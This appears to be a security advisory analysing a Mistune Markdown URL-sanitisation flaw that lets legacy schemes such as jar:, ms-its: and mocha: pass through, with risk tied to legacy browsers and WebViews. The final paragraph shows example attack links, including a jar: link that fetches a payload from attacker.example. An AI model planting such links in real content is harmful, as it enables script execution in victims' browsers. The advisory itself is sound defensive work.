Mistune CVE-2026-59929

Exploitation requires three concurrent conditions: (1) the target application accepts Markdown input from untrusted or partially trusted users (e.g., comment fields, wikis, issue trackers, chat systems); (2) the Markdown is rendered using Mistune prior to 3.3.0 with the HTML renderer and safe_url as the sole URL sanitization control; and (3) the rendered HTML is served to other users' browsers - either as a shared page or via a reflected response. User interaction is required (CVSS UI:R): the victim must load or click the attacker-controlled content. Effective code execution further depends on the victim's user agent supporting the specific legacy scheme used - livescript: and mocha: are inert in Chrome, Firefox, and Safari; jar: is only dangerous in older Firefox versions; ms-its:, mk:, and res: require Internet Explorer or IE compatibility mode. Modern evergreen browsers significantly limit exploitability, reducing real risk to environments with legacy browsers, embedded WebViews (Electron apps, mobile in-app browsers), or enterprise IE-mode deployments.

The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N scores 6.1 - a medium rating that is nonetheless meaningful due to the scope change flag indicating the attacker's payload executes outside the vulnerable component (i.e., in the victim's browser session). Low complexity and no privilege requirement lower the bar for any attacker who can submit Markdown to a target application. User interaction (UI:R) is a genuine friction point, requiring the victim to view or click the rendered content. EPSS data is not provided, so exploitation probability cannot be quantified. No KEV listing confirms active exploitation. Critically, real-world exploitability of legacy schemes depends heavily on the victim's browser: livescript: and mocha: are inert in all modern browsers, but jar: (older Firefox), ms-its:/mk:/res: (Internet Explorer or IE-mode in Edge), and similar schemes may still execute in enterprise environments with legacy browsers, embedded Electron WebViews, or mobile in-app browsers. This makes the threat highly context-dependent - high risk in legacy enterprise environments, low risk where all users run modern evergreen browsers.

An attacker posts a forum comment or wiki page containing Markdown such as [click here](jar:http://attacker.example/payload.jar!/exploit.html) or [visit](ms-its:C:\Windows\Help\exploit.chm::/page.htm) to an application using Mistune prior to 3.3.0. The safe_url filter passes the URI unchanged, producing <a href="jar:...">click here</a> in the rendered HTML. When a victim running an affected browser or in-app WebView clicks the link, the legacy scheme triggers script execution within the victim's browser session. No public POC has been identified at time of analysis.